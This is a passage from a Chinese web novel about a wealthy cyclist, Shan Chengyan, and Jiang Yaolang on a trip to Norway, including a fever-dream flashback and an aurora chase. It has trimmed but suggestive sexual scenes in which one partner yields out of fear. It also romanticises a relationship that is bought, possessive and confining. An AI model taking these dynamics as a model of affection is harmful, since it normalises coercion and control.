【早安小宝】:单承言之前看上了个人,好不容易才得手
【哥哥】:噢,这就是医院里的“还有事”?
【弟弟】:原来如此
【吃瓜玉玉】:原来如此
【吃瓜玉玉】:英雄救美,以身相许
【S.】:给钱了
【早安小宝】:不追?
【S.】:结果都一样,人已经是我的了
【早安小宝】:给多少?
【S.】:二
【吃瓜玉玉】:哟哟哟,大手笔
【吃瓜玉玉】:不如甜哥把我也包了吧
【早安小宝】:这也要压我一头?
【小春小春】:什么时候带出来看看
【小春小春】:我家那个新山庄,有没有兴趣,来了就是第一批客人
【哥哥】:1
【弟弟】:1
【早安小宝】:1+1
【早安小宝】:我把我家小宝也带上
【吃瓜玉玉】:11111
【S.】:过段时间
【小春小春】:干嘛去?
【S.】:带他看海
*
等签证下来的这段时间,单承言在专心制定旅行计划。
江瑶浪看他每天拿着平板敲敲打打,好奇地凑过去看。
单承言眼疾手快地摁灭屏幕:“瑶瑶,不可以偷看。”
窃取情报失败的江瑶浪坐了回去:“这么神秘?”
“就这么神秘。”
“一点也不给我透露呗。”
江瑶浪无趣地托着脸。
单承言一看他这呆样心就发软,他伸手提了提江瑶浪的脸颊肉:“别泄气,你只要期待就好了。”
“好吧。”
江瑶浪彻底躺平,反正他也没怎么旅过游,更没有制定过什么出行计划,既然单承言防得严,也就歇了继续打探的心思。
毕竟……
他研究了这么久的计划,肯定是周密而严谨的。
单承言说让他可以期待。
江瑶浪认为自己可以相信他一次。
但他还是忍不住拿起手机搜索挪威旅行攻略,江瑶浪刷着帖子浏览,看他们分享的照片和视频,越看就越欣喜。
直到单承言伸手盖住他的屏幕,蛮不讲理:“不要看他们的。”
江瑶浪乖巧地退出界面,说:“我也要看鲸鱼。”
单承言说:“好。”
“狗拉雪橇。”
“行,我加上。”
“极光……”
“看不到极光我们就不走了。”
“还有、唔。”
江瑶浪话还没说完,就被单承言用手捏住喋喋不休的小嘴,强行闭麦。
单承言把平板一放,也不做他的攻略了,他把江瑶浪拉起来:“走,我带你出去玩。”
“玩什么?”
“去我家选车。”
*
单承言说的家,指的是他那栋堪比自行车仓库的别墅。
“你的家,确实够别致的。”
除了专卖店,江瑶浪想不出还有什么地方入目全是自行车。
单承言这栋别墅与那间精致的公寓完全是两种风格,唯一相似的只有依旧任性地拆除了所有不必要的墙体,但也因此显得极为空荡。
偌大的别墅连家具都很少,除了基础设施,就只有挂满了自行车的大白墙。
单承言还在得意洋洋地说明:“一楼全是我的作品,还有装备工具之类的,二楼是收藏室,用来放限量涂装或者联名款,三楼是书房、画室和卧室那些。”
“来,我给你介绍一下。”
单承言先是把江瑶浪拉到最靠里的一面墙,指着挂在顶端的红橙白配色自行车:“那一辆是我的第一个作品。”
“二号机?”江瑶浪辨认了一下车身上的细节和人物。
“对,帅吧!”
“Sweety是指什么?甜心?嗯……应该是亲爱的明日香?”江瑶浪思考了一下,“你微信头像也是这个。”
江瑶浪扭头看向单承言:“看不出来啊,明日香梦男?”
“瑶瑶,你好笨。”单承言搓了搓他的脸,否定了他的猜测。
“有没有可能Sweety是指我自己啊?”
那更诡异了,江瑶浪抬头打量比自己高比自己壮的男人:“Sweety?”
“嗯。”单承言应得坦然。
“哈哈哈哈哈哈哈哈……”
“笑什么啊!”单承言扶着笑歪的江瑶浪,让他倒在自己身上。
江瑶浪努力压下笑意,问:“单承言,你多高啊?”
提到身高,单承言骄傲:“裸高一米九八。”
“那你怎么好意思说自己是甜心的?”
单承言无语,单承言尴尬,单承言用嘴堵住江瑶浪不让他继续说话。
“甜心恼羞成怒了。”江瑶浪如此下结论。
“我只是想告诉你,Sweety的意思是我是你的甜心。”单承言干脆不要脸了。
江瑶浪离开单承言的身体,与他保持距离:“……恶心我呢。”
他又没忍住笑了两声,然后清了清嗓子,说:“所以为什么给自己取这个名字。”
“其实也没什么理由吧,就是觉得,我,”单承言指了指自己,“我很强,对吧?然后我搞一个软绵绵的名字,那大多数人的第一印象就会觉得这人没什么实力,只会求人让让,等到时候一比,没想到吧。”
单承言挑眉,说出事实:“哥们拉爆他们。”
“懂了,就是想装个大的。”江瑶浪一语道破真相。
单承言慵懒站立,肩膀后张下沉,手臂向两侧不完全张开,手肘弯出放松的弧度,表情是拽拽的无可奈何。
江瑶浪不想看他装,主动转移话题,他指着下面三行油画系列的涂装:“那这些又是什么?艺术家之魂崛起?”
“这些啊,算是练手作吧。”单承言突然想起来什么,“我好像没告诉你我是学油画的?”
江瑶浪倒也没有很震惊,毕竟这些高质涂装也不是个不懂画的人就能随便弄出来的:“现在知道了。”
“对,当时因为刚接触涂装,不知道该画什么,就干脆把名画挪到上面了。”
“只爱画花?”
“为热爱献花。”单承言笑。
“这面墙的车一般都不骑,带你看看我的常用车。”单承言又带江瑶浪去了另一面墙,这面墙离门很近。
江瑶浪一眼就看到了那辆星之卡比,他指着那台车:“你的粉嫩冠军车。”
单承言站在江瑶浪身后,一手扶腰,一手握着江瑶浪的手腕往右移,指向像素风马里奥:“这辆也是。”
“这辆怪盗基德,”他继续握着江瑶浪的手腕移动,“那辆Hello Kitty。”
“还有这个,史努比。”单承言继续说,“这些都是我的冠军车。”
“甜心真厉害。”江瑶浪由衷称赞。
单承言没有松手,带着江瑶浪的手指向派大星:“上次你到酒吧给我送炸鸡,我当时骑的就是这辆。”
江瑶浪回想了一下那晚的场景:“我好像没看到这辆车?”
“放李聿鸣车前盖上了,就是你说好看的那辆红色巴博斯G900。”
“李聿鸣?”
“我发小,他不重要。”单承言又把话题拐回他的宝贝车,“剩下的车会看心情骑,心情好就骑鲜艳点的。”<
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“那你现在做涂装也是看心情?”
“差不多吧,反正有感觉了我就画手稿,手稿画好了就去工作室改车。”
“不过我们今天不在这些公路车里面选,”单承言终于想起此行的目的,“那条线路得选瓜车。”
又来了一个新名词,江瑶浪也不懂,只能跟着单承言走到另外一面墙,这面墙挂的车不多,只有五辆,与其他挂了十来辆的比起来确实有点零星。
“瑶瑶你可以挑一辆顺眼的。”
“这些车和别的有什么不一样吗?”江瑶浪不懂就问。
“主要是轮胎更宽以及一些套件不一样,城市或者赛事的路面条件一般都比较好,所以多数骑公路车,但是如果地面条件比较一般,比如砂石路或者土路这种,然后想进行一些长途旅行的话,瓜车更合适。”
“上面两辆是TREK 520,钢架车,比较重,但是承重也更好。”
“下面三辆是TREK Checkpoint SL,碳纤维,我这次选的那条线不长,也不用带多少东西,如果你纠结的话可以从这三辆里面选一个。”
听了单承言的解释,江瑶浪点点头表示明白,但是他也没急着选车,而是抬手敲了敲那辆电影同款AE86涂装的瓜车,问单承言:“你这辆86也能排水渠过弯吗?”
“这个嘛,”单承言笑,“一般都只能卡盖上,或者摔沟里。”
江瑶浪也在笑,他做了决定:“我要这辆86,我要开86看海。”
“好的,大西洋车神。”单承言把86和86旁边的R32取下来,“那我开GTR。”
单承言把车推给江瑶浪,问:“车神,要先骑一圈找找感觉吗?”
“好啊。”
*
离开别墅前,单承言去三楼给江瑶浪找了手套帽子和围巾,围巾拉高盖住口鼻,把江瑶浪彻底武装完成,才带着他慢慢骑向自己的工作室。
冬天的风刮得有点狠,但因为江瑶浪被衣服包裹得很好,他没感受到多少不适,单承言在前方破风,时不时回头看他的进度,他放空思想,只一心跟随。
慢节奏地骑行在暮色温柔的街头,远离城市的喧嚣与人群车流,江瑶浪竟感觉到一丝久违的放松。
单承言带江瑶浪来到了一个野公园,此时天色已黑,单承言依旧是走在前方,他一手打着手电,一手牵着江瑶浪,对他解释:“工作室拐个弯就到,我先带你来看个东西。”
然后江瑶浪就被单承言带到了一个积雪的坑前,他们俩一起蹲下,单承言指着那一片坑:“这里以前养着龟背竹。”
江瑶浪不解:“然后呢?”
“然后死了,被冻死的。”
江瑶浪:“……”
江瑶浪:“所以就带我来看坑?”
“哈哈哈哈哈!!”单承言突然大笑。
“我是无意间发现这里养着龟背竹的,不知道是什么神人把热带植物种来这里,更可笑的是那还是一棵带果的。”
“在我发现它长了果子以后,我就隔三岔五来这边看它,就想着说不定在冻死前果子就能熟了,然后我就可以摘下来吃。”
“那你吃上了吗?”江瑶浪问。
“当然没有,根本养不活,白瞎了我几个月的等待。”
“我就知道,一味地等是没有用的。”单承言说,“如果我真的想要它活下来,我有一百种方法,甚至它窝都不用挪,我就在这里给它搭一个热带气泡。”
“我明知道它肯定会死,但我没有这么做,所以我吃不上那个果子。”
江瑶浪不太能理解他的想法:“一个人造环境,比买一个果子的成本大太多了。”
“可是瑶瑶,当一个人想拥有某样东西的时候,是不计成本的。”
单承言捧着江瑶浪的脸,让他直视自己的双眼,借着微弱的光,江瑶浪看到单承言眼里燃烧着近乎疯狂的偏执,他的眼神沉重地压在自己身上,让江瑶浪感到不安。
“瑶瑶,我为之前的鲁莽向你道歉,但我不后悔。”
单承言拉高江瑶浪的冷帽,珍重地吻上江瑶浪的额。
“起码现在你属于我了,不对吗?”
18. 第 18 章
可能是有点兴奋,江瑶浪今天难得早醒。
但单承言还在睡,他也不敢下床,只是小心地把……
江瑶浪伸手擦去残留的口水,翻了个身平躺在床上,开始在脑子里面再次确认旅游所需的物品清单。
想着想着,又开始期待极光,期待狗拉雪橇,期待自己的追鲸之旅。
也期待着,骑行路上的风景。
即使仍在睡梦中,但单承言依旧敏锐,意识到缺了东西的他不太乐意,长臂一揽圈住江瑶浪的细腰,然后把他团起来塞进了自己的怀里。
江瑶浪无可奈何,只能缩着继续脑内清点。
……
“还好。”单承言眼睁开一条缝,沙哑着声音开口。
随后单承言撑起身,低头亲在江瑶浪的嘴角:“早上好,瑶瑶。”
“早上好,少爷。”
单承言伸手挠江瑶浪的腰。
“宝宝换一个称呼。”
“早上好,单承言。”
“亲密一点的,昨晚你喊的那个。”
江瑶浪不是很想说,但单承言软硬兼施,一边哄着他,一边又威胁性地把手放他腰上准备开挠。
江瑶浪没办法,只能忍着羞耻顺从。
“早上好……”江瑶浪微微侧头,不想直视单承言,“老公。”
听到想听的,单承言才终于满意,他把江瑶浪从床上抱起来往浴室走:“宝宝好乖,老公帮你刷牙洗脸。”
江瑶浪无语地窝在他的怀里,伸手拍他的头:“真上瘾了是吧?”
“是啊,照顾你多有意思。”
*
……
“你对白月光也这么凶吗?”
身后的动作一顿,单承言把江瑶浪翻了过来,面对面看着他,眼里透着迷茫。
“什么?”单承言还没反应过来。
“你的白月光,我这个位置的正主。”
什么玩意儿,自己哪来的白月光。
单承言下意识就要反驳,在话语冲口而出的瞬间,他终于想起楼梯间里那个拙劣的谎言。
“没有。”单承言开口,“你不一样的。”
单承言将以前那些无趣无聊得让他快要性冷淡的平淡体验与当下进行对比,得出结论。
“和你一起爽太多了。”
“呵,”江瑶浪轻笑一声,“因为不用收着力?”
“以前我连力都不想使。”单承言实话实说。
“被伺候得这么好?”
“嗯。”单承言说,“所以你也得宠着我。”
江瑶浪不置可否……
单承言居高临下地看向湿漉漉跪坐在地面的江瑶浪,伸手拂开他的乱发,露出一张完整的艳绝小脸。
单承言说:“那瑶瑶,你要亲亲它。”
这个角度的单承言让人看不清神色,江瑶浪怕他生气,选择低头顺从。
只是还未接触,就被人用两根手指捏住下巴,强行换了方向,吻上单承言的唇。
“瑶瑶,你就仗着我喜欢你。”
……
“怎么哭得这么惨啊?瑶瑶。”
*
单承言牵着江瑶浪的手,带他走进湾流G700的客舱。
客舱宽敞,各类设施一应俱全,空气中弥散着淡香,江瑶浪挺喜欢。
单承言让江瑶浪坐在他的身旁,随即给江瑶浪递去菜单。
“瑶瑶,看看想吃点什么?”单承言问。
被闹了一早上的江瑶浪没有胃口,只是困,只想睡觉。
于是单承言要来热毛巾,帮江瑶浪擦手擦脸,然后把他抱上卧室里的床。
单承言靠在床头,用毛毯细致地包裹住江瑶浪,跟抱宝宝似的,让他跨坐着睡在自己身上。
江瑶浪在睡觉的时候,单承言也没闲着,他还记着给江瑶浪编发的承诺。
他拿出手机,挑了个自己喜欢的发型对着教程学,但单承言手笨得可以,折腾了大半天也没弄个什么造型来。
不过多了一只手能用,终究是好事儿,起码他能动作轻柔地给江瑶浪扎了满头板正的小麻花辫。
但他又怕江瑶浪不喜欢,所以在拍照记录后,又轻又慢地把辫子都拆散了。
直到航程过半,江瑶浪才睡醒。
单承言给他喂了一口温热的蜂蜜水,顺便偷了个甜滋滋的吻。
“睡够了?”
江瑶浪从单承言身上爬下来,躺在床上,开始谴责:“抱得我难受死了。”
“哪儿难受?”
“哪哪都难受。”
“那我给你揉揉。”
说罢,单承言伸手又要捞人。
江瑶浪往里一滚,躲开单承言的动作,没捞到鱼,单承言不是很开心。
“躲什么?”
江瑶浪没理他,只是看着舷窗外橙蓝与粉交织的天空,一团团云被快速掠过。
“单承言,我要吃土豆泥沙拉。”半响,江瑶浪开始点菜。
“要加一杯牛油果奶昔吗?”
“好……可以再放点巴旦木。”
单承言笑了声,按下呼叫按钮点菜。
“在这里吃?”
江瑶浪坐起身,活动肩颈:“出去吃吧。”
单承言主动接过揉按的活,于是江瑶浪只能又趴回单承言的身上,享受手法专业、力道适中的按摩。
“少爷学过?”
单承言得意地哼哼:“用来讨好我妈的。”
江瑶浪抬头看着单承言:“儿子。”
单承言低头亲他。
“叫错了,要叫老公。”
“笨蛋瑶瑶。”
*
虽然只是简单的沙拉和奶昔,但得益于新鲜的贵价蔬果与星级厨师的手艺,让江瑶浪尝出不一样的风味。
他用叉子刮起最后一口沙拉吃下,然后指了指液晶显示屏上的时间:“你真是不合格的金主,让我一天只能吃得上一顿饭。”
单承言给他递擦嘴的餐巾纸,不怀好意地狡辩:“也可以再吃点别的。”
“你的脑子里不能有点别的?”
单承言强行挤进江瑶浪的座位,暧昧地勾勾他的手心:“你不好奇?万米高空喔。”
两人身体紧贴,单承言还刻意地煽风点火。
然而江瑶浪是真的累得无欲无求。
单承言尝试打破他的无动于衷:“江瑶浪,这里隔音很好,他们不会进来打扰。”
“这是你的飞机?”江瑶浪试图寻找突破点。
“我姐的。”
……
“好坏的弟弟。”
……
“挤死了!”江瑶浪拍他的头。
“那换个地方。”
*
……
“小魏给不了你这种体验吧?”体内突然翻涌着攀比欲,单承言冲动开口。
“嗯?”江瑶浪溢出碎音,“魏勤安?”<
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都这么久了,还把这个该死的前任记得这么清?
单承言醋意大发。
……
“对,他不如我吧?”
江瑶浪不知道该怎么回答。
而此刻不应存在的沉默让单承言妒火中烧。
“他上过你?”猜测越来越离谱,动作也越来越重。
江瑶浪无奈,他拍拍单承言的手,让他松开自己的头发。
然后澄清:“没有,想什么呢,我一直都是上面的。”
江瑶浪安抚地摸着单承言的背,说:“你想听细节吗?我可以说。”
单承言简直要烦死江瑶浪此时的温顺,细节?
他单单听到那个名字就受不了!
“我哪里不如他?”
这该怎么说……
江瑶浪好为难,但还好他还算会哄人:“你没有,你很好。”
“那你干嘛要沉默,你不理我。”单承言要委屈死了。
“呃,你们两个风格不一样,不是很好比。”
“那就不要比了,我最适合你,对不对?”
……
江瑶浪被刺激得一缩。
*
飞机穿过气流的时候,他们还没停。
颠簸中江瑶浪紧张地攀上单承言。
而单承言反而更加兴奋,他对江瑶浪恶狠狠地说。
……
“不要掉出来啊,小人鱼。”
……
“然后咽进这里。”
江瑶浪又疼又累,发泄般在单承言宽厚的背上抠出血痕。
(不写了不写了球球审核高抬贵手让我过了吧,真的在库库删了)
*
飞机降落特罗姆瑟的时候,天空一片黑寂,云层很厚。
江瑶浪有点失望。
单承言捏捏江瑶浪的脸,安慰他:“没关系,我们会留在挪威很久。”
他们离开机场,前往住处。
单承言在开门,而江瑶浪又抬头看了一眼天空。
云还是很厚,雪花洋洋洒洒。
于是单承言也不进屋了,蹲下来搓了个圆润的雪球。
然后丢向江瑶浪。
雪球砸在江瑶浪身上,用自己的粉身碎骨唤回了江瑶浪的注意力。
江瑶浪瞪向单承言,而单承言又往他身上丢了一个雪球。
“别看天了瑶瑶,和我打雪仗吧。”
江瑶浪在飞机上就被折腾出一肚子气,现下正好有了个发泄窗口。
他弯腰抓了一把雪,快步走向单承言,然后塞进他的脖子里。
单承言被冻得哆嗦:“怎么耍赖呢。”
江瑶浪还有更无赖的呢,他把单承言搓好的雪球全部偷走,然后快步跑远,边跑边砸向单承言。
其中一个正中脸。
单承言抹去脸上的雪,追上江瑶浪,把他紧紧抱着,两人一起滚进雪地里。
虽然江瑶浪被控制住了,但他依旧不死心,又挣扎着往单承言脖子里塞了一把雪。
单承言把身上残留的雪抖落到江瑶浪的脸上,江瑶浪冷得眯眼。
“不闹了,躺会儿接接地气。”单承言按住江瑶浪暗暗作乱的手。
“好吧。”江瑶浪接受了。
他们在雪地里安安静静地躺着,江瑶浪伸手捕捉雪花和远处的点点灯光。
“会有极光的。”单承言含住江瑶浪被冻红的耳垂肉,承诺道。
19. 第 19 章
江瑶浪发烧了,高烧三十九度。
可能是水土不服,也可能是累的,外加在雪地里滚了一圈。
半夜的时候突然不适,吐过以后就开始高热不退。
单承言给他喂药,刚吃进去就又吐出来,物理降温也没用,最后只能让管家叫来家庭医生。
江瑶浪躺在床上昏昏沉沉,意识全无。
单承言亲亲他因为输液而冰凉的手背:“怎么会这样呢……”
*
江瑶浪做了好长的一个梦。
梦里他回到了十六岁的夏天。
因为刚捐了发,头发被剃得很短,加上他身姿挺拔,整个人美得凌厉。
他逃了自习,翻墙出去买了包利群。
江瑶浪点着烟,边走边抽,绕进了附近的小公园,蹲在树底数蚂蚁。
他坏心眼地掸了掸烟,一截烟灰落在蚂蚁的必经之路上,可怜的蚁群面对从天而降的庞然大物,只能被迫绕路。
然后他听到了一阵压抑着的哭声。
最开始江瑶浪还以为自己读书读傻了,居然都能听到蚂蚁哭。
他又仔细辨认了下,才确定了是有人在哭。
江瑶浪站起身,把烟摁在树干上弄灭,找人的时候把烟头丢进了垃圾桶里。
*
江瑶浪蹲在那人身边,问:“干嘛呢?”
那人被吓得一惊,也不敢哭了,只是呆呆地看着江瑶浪。
江瑶浪打量了一下人,和他穿着一样的校服,但此时脏兮兮的,书包也被暴力扯开,物品乱糟糟地堆放。
“被欺负了?”江瑶浪问,“我们学校的?”
“……嗯。”他委委屈屈地承认。
于是江瑶浪站了起来,伸脚踢他屁股:“起来。”
那人不敢不从,抱着书包站了起来。
十六岁的江瑶浪一米八,但这个被欺负哭的男生比他还要高。
江瑶浪不爽:“哭什么,人高马大的。”
男生以为江瑶浪是在问他话,于是说:“我的模型烂了。”
“什么玩意儿?”
男生从包里掏出一个被暴力破坏的微缩园林景观,指给江瑶浪看。
江瑶浪打量那堆残骸,在脑子里构建原貌,他用手捻起一个小亭子,问:“你做的?”
“对,他们说我摆弄花花草草,是个娘炮。”似乎是找到人诉说,男生开始大声告状。
“他们说要给娘炮一个教训,就把我的模型摔了。”
江瑶浪把亭子小心放回原位:“你就站在旁边看他们摔?”
“他们人多。”男生小声辩解。
“所以你就在他们弄坏了你的东西之后,只知道躲着哭。”
江瑶浪毫不客气点评:“哪怕你找老师打报告呢,小娘炮。”
小娘炮低下头,攥紧手中的模型,又在哭。
江瑶浪乐了,弯腰看他的哭脸:“小娘炮,你叫什么?”
“魏勤安。”
江瑶浪站直身,一手搂住魏勤安,一手抓起那个破书包,带着人往前走。
“走吧,魏勤安,浪哥替你出头。”
魏勤安抓住江瑶浪的衣角,再次强调:“他们人多。”
江瑶浪懒得解释,随手捡了根生锈的铁水管,然后把一群人给堵了。
他平举着水管,指着人数数:“一、二、三、四……五个人是吧,我叫江瑶浪,就一个人。”
“今天我们在这里把事情解决了。”江瑶浪笑得张狂,“你们一起上呗。”
那个夏天,江瑶浪剃了板寸,叼着半截烟,穿着规规矩矩的干净校服,用一根生锈的铁水管吓退了一群霸凌者。
他转过头对魏勤安说:“你看,人就是这样的,欺软怕恶。”
*
这件事过后,魏勤安就开始跟着江瑶浪,江瑶浪很烦他这股黏糊劲,他直言自己不需要小弟。
魏勤安也很认真,他说:“那浪哥,我可以追求你吗?”
江瑶浪一掌拍在他脑袋上。
他对来自同性的示好无感,而是更在意:“我更不需要一个娘炮恋人。”
于是魏勤安开始健身,学会坚毅,并用江瑶浪能接受的方式开展追求,细水长流地入侵江瑶浪的生活。
江瑶浪的最终身高停在一米八/九,而魏勤安刚好一米九。
江瑶浪十八岁的时候,魏勤安再一次表白。
在答应前,江瑶浪问他:“你成年了吗?”
魏勤安笑得宠溺,他揉揉江瑶浪的齐耳波波头,说:“浪哥,上个月我就成年啦。”
“那你为什么不和我说?”江瑶浪不满。
“我记得你的生日就好了呀。”
江瑶浪踢他的脚,然后抱着魏勤安的脸亲了上去。
魏勤安激动地回吻。
他的眼神好肉麻,江瑶浪看着魏勤安快要溢出的满眼深情,评价道。
*
江瑶浪和魏勤安的故事停在十九岁的七月末。
父母意外离世,魏勤安即将前往美国。
江瑶浪把魏勤安拒之门外,魏勤安在捶打着门,哭喊着。
“浪哥,让我帮你,让我帮帮你,好吗?”
“我可以照顾好你和小清的,别推开我,好吗?”
江瑶浪背靠着门板,魏勤安的难过拍进他的心里。
江瑶浪做不到把压力转移到他人身上,他决心让这段感情停在最美好的当下。
他无视门外的噪音,抬手让江瑶清躲进他的怀里。
“小清不怕,哥哥在。”
*
江瑶浪在深夜打开门,魏勤安颓然地坐在门外。
两人都很安静,最终还是魏勤安先开口。
“浪哥,我真的好希望你可以依赖我。”
十九岁的江瑶浪已经开始戒烟,他从口袋里摸出糖,把柠檬味的丢给魏勤安。
“吃糖吧。”江瑶浪说。
魏勤安哭着把糖吃完了。
江瑶浪蹲在他的身前,抬起他的脸,温柔地擦去眼泪。
“小娘炮,去美国吧。”
和初见时一样,魏勤安抓住江瑶浪的衣角,恳求他:“不要丢下我好吗?浪哥,这里人太多了。”
江瑶浪最后亲亲他,一言不发地回了屋,关上了门。
我真的好讨厌柠檬味。
屋内的江瑶浪想。
*
江瑶浪退烧的时候,屋外的风雪也停了。
他睁开眼,仿佛还能看到当年意气风发的自己。
随后他被绵软的身体打破幻想,被迫接受死气沉沉躺在床上的现实。
“瑶瑶,你醒了。”单承言的气压也很低。
江瑶浪注意到了他的情绪不好,但只当他是厌烦了被困在这间屋子里,没有多想。
单承言帮他坐起身,往他身后垫了枕头,然后给江瑶浪递了半杯温水。
温水滑过喉咙的时候仿佛在被刀子刮,江瑶浪皱着眉小口喝完了。
单承言拿走空杯,又放了个小热水袋在他青淤的手背上。
“做噩梦了吗?瑶瑶。”单承言问。
江瑶浪不愿与他说梦里的事,只是回他:“没有啊,怎么了吗?”
单承言笑笑,说:“没事,就是看你一直在哭。”
江瑶浪点点头,嗓音嘶哑:“那可能是发烧太难受了吧。”
“是这样吗?”
“对呀。”江瑶浪说。
“瑶瑶,吃点粥好吗?你已经睡两天了。”
江瑶浪冲他笑:“好啊,难怪我觉得这么饿。”
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于是单承言把江瑶浪的手放回床,拿起空杯走出房间,然后把杯子狠狠摔向地面,得益于足够厚的地毯,杯子落地无声,只是静默破裂。
单承言眼底翻滚着浓郁的墨色,怒火冲击着他的理智,双拳攥紧,青筋暴起,单承言气极而笑,笑自己学着讨好人,却比不上一个只会抛弃人的前任。
那种屈辱和无力又再一次爬了上来,嘲笑他的失败。
江瑶浪一点都不乖。
单承言把粥端给江瑶浪后,对他说:“瑶瑶,你留在这里等我好吗?”
江瑶浪疑惑:“你要去哪里?”
“我要离开几天,去完成计划中的骑行路线。”
江瑶浪表示理解,自己当下的状态确实不适合外出。
单承言弯腰亲他苦涩的嘴角,亲他受了折磨的手背。
“你就在这里乖乖等我,好吗?”
“好啊,一路小心。”江瑶浪应下。
*
单承言离开的这段时间里,江瑶浪一直在玻璃房等待极光。
处于极夜的特罗姆瑟白天时间很短,江瑶浪身旁只有一个持续燃烧的壁炉,陪着他度过漫漫长夜。
极光一直没有出现,只有呼啸的风雪,和透不进光的云层。
江瑶浪积攒了好多失望,他不愿再等待这些飘渺之物。
他决定离开。
然而在他站起的时候,他看到远处有一个人影由远及近、跌跌撞撞地朝自己走来,最后倒在了玻璃屋前。
江瑶浪走近观察,发现那人被风雪覆盖,一动不动,像个笨重的雪人。
于是江瑶浪快步离开玻璃房,打开门走出木屋,来到那人的身边。
刚刚病愈的江瑶浪力气还没完全恢复,他艰难地把人扶进屋内,把他放在沙发上。
江瑶浪让管家拿来热水袋,他把热水袋塞进意外来客的怀里。
屋内温度高,那人身上的雪化成水,滴落在地面,积成小水洼。
然后江瑶浪看着他睁开了眼。
那是一双如海般的蓝眼睛。
来人盯着江瑶浪,好半响才说出一句:“妈妈,我看到了天使。”
“我不是天使,你现在感觉怎么样?”江瑶浪用流利的英语与他交谈。
“天使,我叫Casper。”
江瑶浪无奈:“好吧Casper,你要喝点什么吗?”
“我都可以的。”
于是江瑶浪给他泡了杯热可可。
Casper脱去手套,捧着杯子喝得极为珍惜,冒出来的热气把他的脸熏红,一双温柔深邃的眼偷偷摸摸打量江瑶浪。
江瑶浪也在看他。
Casper年轻而健壮,有着健康的小麦肤色,即使缩着坐在沙发上也不显得弱势,保暖的围巾半包裹着头,凌乱的浅棕色发丝从缝隙里翘出,让他看起来如同一头困倦的熊。
他穿着白色的工装面料羽绒服,下身是深蓝色的牛仔裤,一双雪地靴沾了泥,脏得不行,硕大的旅行背包被管家捡了回来,此时正放在他的脚边。
“所以,刚刚是怎么了吗?”江瑶浪疑惑,这人看着也不虚啊。
“我好饿。”Casper说,“快圣诞了,我回来得又太晚,没有找到吃的。”
“饿晕了?”江瑶浪笑。
Casper羞红了脸,移开目光:“应该是低血糖……”
“你是学生?”
“是的,天使,我家在洛杉矶,是来这边旅游的。”Casper说,“计划是看到极光就回家过圣诞……”
他叹了口气:“可惜运气不是很好。”
“不过。”Casper很快又振作了起来,他看着江瑶浪,笑得热烈,“你比极光更值得。”
“我是幸运的,我的天使。”
20. 第 20 章
得知江瑶浪因病被迫中止旅程,Casper从背包里翻出来厚厚的旅行手账,挪威的经历被记录在靠后的页面,他翻着上面的照片,问江瑶浪准备先听哪一段。
江瑶浪伸手问他要手账:“我可以看看吗?”
Casper把本子放在他手里:“当然可以,我的天使。”
江瑶浪不习惯这个称呼,很不自在,他红着脸要求:“可以不要这么叫我吗?”
“为什么不呢?天使?”
江瑶浪只能随他,自己低头翻阅照片。
Casper的挪威行始于奥斯陆,但显然他对歌剧院和美术馆都不感兴趣,记录下来的是间桑拿小屋,Casper只穿了条泳裤,高举着手跳进了屋外的冰海里降温。
第二站是罗弗敦,他在蓝调时刻的渔村里与陌生的同行人分享了一张披萨,Casper给这张披萨拍了一个大特写,对它的描述是“极其美味!”。
随后Casper抵达特罗姆瑟这个终点站,他先去了世界上最小的bar买了热狗和热红酒,然后咬着面包上了追鲸的船。
通过照片,江瑶浪看到峡湾的风浪好大,太阳不再升起,但在浪漫的粉色晚霞里,飞鸟自由翱翔,虎鲸跃出水面,往Casper脸上甩去浪花。
在这张照片旁,Casper写下潦草的批注:追鲸成功!但是我晕船……
江瑶浪摸着鲸鱼尾巴,问他:“你吐海里了吗?”
Casper摆手否认:“我憋住了!下船了才吐的!”
江瑶浪被他逗笑,往后翻了一页。
Casper去玩了他期待许久的狗拉雪橇,他蹲在雪地里怀抱着哈士奇,大笑着与其合影,他在雪橇上自拍,风吹起他的头发,脸后的背景是狗狗扭动的毛茸屁股和飞溅的白雪。
他骑着雪地摩托追着驯鹿穿梭在森林间,在夜晚到来时住进萨米人的帐篷,围着篝火,在吟唱中用桦木树瘤雕刻出一只小鲸鱼。
江瑶浪用身心感受着这些照片透出来的蓬勃生命力,他好羡慕。
但最终只是不舍地合上手账,物归原主。
“真是精彩的旅程。”江瑶浪说。
Casper接过,语气里带有浓浓遗憾:“就是缺了一张极光。”
江瑶浪安慰他:“天气太糟糕了,不过没关系,人生还很长,你还可以再来。”
“这样的话,特罗姆瑟的极光就会永远错过十九岁的Casper。”Casper把最后一口可可喝完,把包重新背起。
他对江瑶浪伸出手,发出邀请:“天使,你要和我一起外出追逐奇迹吗?”
年轻的外国男孩眼里盛满星星,野性勃发。
“外面的风雪还没停。”江瑶浪不想扫兴,可事实如此。
“所以,天使你想去!”
江瑶浪无法反驳,但依旧犹豫。
此时,沉默不语的管家站在了江瑶浪的身后,她时刻谨记主人的吩咐。
江瑶浪要乖乖地留在这里,等单承言回来。
“我明白了,天使被困住了。”Casper突然燃起战意,他把包甩在门边。
然后旋身到管家身前,朝她拍拍掌:“Hey hey you——”
Casper围着管家唱起了《Hey Mamma》,他打着响指边唱边跳,身体轻巧灵活,嗓音清澈咬词清晰,随着韵律踩出舞步。
“It’s your girl and maybe should sleep at home,”Casper来到了江瑶浪身边,大胆牵起他的手,把他拉了起来,“But I’ll steal her alone——”
他把江瑶浪藏在身后,带着他往门口移:“And I say——”
“Mamma mamma don’t be so down!”Casper给江瑶浪套上外衣,背起自己的包,拉开门带着他逃离木屋。
“I am not that unfounded boy——”
Casper跑在江瑶浪的身前,为他挡下迎面而来的风雪。
他的力气真大,江瑶浪被牵着大步往前跑,身后的房子越来越小,越来越小。
Casper回头,对他说:“天使!请为我指明方向——”
这瞬间,江瑶浪只能想到那辆被独自留下的AE86,于是他给出方向。
“向北!一路向北——”
*
他们不知道在这方无人的天地间跑了多久,只知道风止了,雪停了,天突然亮了起来,抬头看,是舞动着爆发的漫天极光,仿佛近在咫尺。
Casper激动地撒欢,围着江瑶浪转圈,然后一把抱高江瑶浪,让他稳稳地坐在自己的肩上。
“天使!你快伸手去摸!”
江瑶浪还在急促呼吸,被风雪烧灼的喉管溢出铁锈味,耳鸣中的他却清晰地捕捉到了Casper的戏语。
那分明是一句毫无意义的玩笑话——可他选择一手捂住那颗激动的心,另一只手高高抬起,指尖努力地向上触碰。
“天使!你摸到了吗!”
“我摸到了。”
Casper还在追问:“是什么样的感觉——”
“是热的,暖的,我感受到它在牵我的手。”
“那你要不要咬一口!试试是什么味道!”
于是江瑶浪真的对着极光张开嘴,咬了一大口。
